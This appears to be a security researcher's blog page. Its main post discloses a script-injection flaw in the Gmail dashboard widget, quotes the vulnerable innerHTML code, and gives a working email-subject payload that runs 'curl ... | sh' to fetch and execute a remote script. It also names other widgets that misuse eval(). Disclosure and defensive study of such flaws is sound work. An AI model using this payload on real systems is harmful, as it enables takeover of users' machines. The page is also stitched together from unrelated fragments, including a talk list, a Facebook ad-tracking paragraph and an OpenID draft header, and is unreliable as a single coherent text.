• At RSA Conference in San Francisco, I spoke on a panel about security usability with fellow Web Security Context Working Group members Mary Ellen Zurko, Rachna Dhamija, and Phillip Hallam-Baker. No slides, but a reasonably nice discussion.
• At the Web Conference in Beijing, just two weeks later, I ended up on a panel on policy languages, with Renato Iannella, Piero Bonatti, and Lalana Kagal.
• Also at the Web Conference, I spoke about Widgets - Web Vulnerabilities for All, taking a look under the hood of some commonly found widgets, and explaining how they can be used to break into your computer. As much as I like that Widgets are making it easier to write portable network client applications, as much do I think that the current platforms' security models make it far too risky to actually run these beasts. We've got some catch-up work to do there.
• In Web Application Security Issues at the same conference, I also talked about widgets, but then asked the question what the programming practices there tell us about the future of Web Applications, when ever more security critical code actually runs on the client. That outlook is rather dark right now, in terms of security. (Although it won't get much worse than the current situation.)
• Finally, I went to nearby Ghent, to talk about HTML5 and what's security relevant in there. Slides here: Would you like fries with that? In short, there's a bunch of good work being done in that spec, but other parts need some serious attention from the security community.

Our topic today, then, is the Gmail dashboard widget -- a handy dashboard frontend to Google Mail. As so many other widgets, this one, too, runs with access to the widget.system method. However, the bug in question here does not relate to eval(). Instead, it's script-injection into the DOM due to a lack of output cleansing in the client-side JavaScript code. It's, effectively, the same kind of vulnerability that underlies cross-site-scripting vulnerabilities in servers; for a change, however, this is a client-side problem.

Consider this code fragment:

      var titleText = MessagesTable
           .getTitleTextFromEntryElement(currentEntry);
      titleText =
          '&nbsp;&nbsp;&nbsp;<span class="title-class">' 
          + titleText
          + '</span>';
      if (Prefs.getShowSnippets()) {
        var summaryText = MessagesTable.getSummary(currentEntry);
        summaryText = '<span class="snippet-class"> - ' 
          + summaryText
          + '</span>';
        titleText += summaryText;
      }
      titleText = "<div class='table-overflow-col'>" 
        + titleText + "</div>";
      ...
      titleColumn.innerHTML = titleText;

The use of the non-standard innerHTML property to write to the DOM here means that, if we can inject tags into the titleText variable, we can actually write tags into that document object model.

Instead of reading more code, I sent a first message to my GMail account, with this subject:

 Subject: <i>italic?</i>

Now, guess how that message came out in the GMail widget... So, we can write tags into the DOM. The simple approach of just dropping some <script> tags into the subject header failed, though: innerHTML doesn't actually execute scripts right away.

However, this worked:

Subject: <a href="#" onmouseover=
  'var foo=widget.system ("curl http://does-not-exist.org/test
  | sh", null).outputString;'><span class="title-class">hi 
  there</span></a>

As soon as the mouse pointer hovered over the subject header of this message, a shell script would be downloaded from my web server, and then executed, with the user's privileges -- the machine was taken over by sending a single e-mail, combined with a likely and innocuous user interaction.

What this example (as the other, earlier ones) demonstrates is that, as Web technologies move to the desktop, bad coding practices move with them. However, what was once a problem that might affect one server-side application now tuns into a way to subvert client computers -- easily, quickly, and thoroughly, and with no more tools than the ability to write a simple e-mail.

Possible fixes to this problem include escaping any user-supplied data that is expected to contain text before feeding it to dangerous programming constructs such as .innerHTML, or using safer programming constructs such as createTextNode.

The recent observations about widgets suggest several more general points, though: On the one hand, figuring out useful security models for widgets is an important task (that the W3C Web Application Formats Working Group, which works on a widget format, will have to take on, together with the various widget vendors).

On the other hand, it's clear that fancy security models are not enough: We need to spread the word about sane programming practices for widgets, and quite likely some code review from those who advertise others' code as safe to download.

Finally, these kinds of issues are not just a problem with widgets: Just this Wednesday, Orkut was hit by a worm that was exploiting server-side cross-site scripting vulnerabilities. As we see more and more cross-site requests and data flows -- either through cross-site XMLHttpRequest, or through deliberate cross-site script inclusion --, we'll see attacks like these cross site boundaries. We'll also see combined server and client-side attacks, just enabled by web technologies.

I hope to talk more about this at this year's Chaos Communication Congress in Berlin, and perhaps at the Web Conference next April in Beijing.

• The Facebook Widget accesses about a dozen facebook APIs through JSON. It's based on the facebook JS Library. And guess what the parseJSON routine in that library really is? This widget runs with the AllowFullAccess configuration option set.
• The Flickr Interestingness widget is another culprit. This one only runs with the AllowInternetPlugins flag; if subverted, it might give an attacker access to, say, the latest Quicktime hole. Don't think it's enough to secure your browser.
• The Hockey Widget doesn't do JSON; instead, it loads some web page and parses an embedded script by, you guess it, feeding it to eval(), after some minor searching and replacing. AllowNetworkAccess is set.

The new ad infrastructure enables Facebook to extend their reach onto other companies' sites. For example, if you rent a copy of "Biodome" from Blockbuster.com, Blockbuster will look for a Facebook cookie on your computer. If it finds one, it will send a ping to Facebook. The Blockbuster site will pop up a "toast" (= popup) asking if you want to let your friends at Facebook know that you rented "Biodome." If you say yes, next time you log into Facebook, Facebook will ask you to confirm that you want to let your friends know of your recent rental. If you say yes, that becomes an event that's propagated in the news feed going to your friends.

OpenID Information Cards 1.0 - Draft 01
D. Hardt, J. Bufu
Sxip Identity
August 10, 2007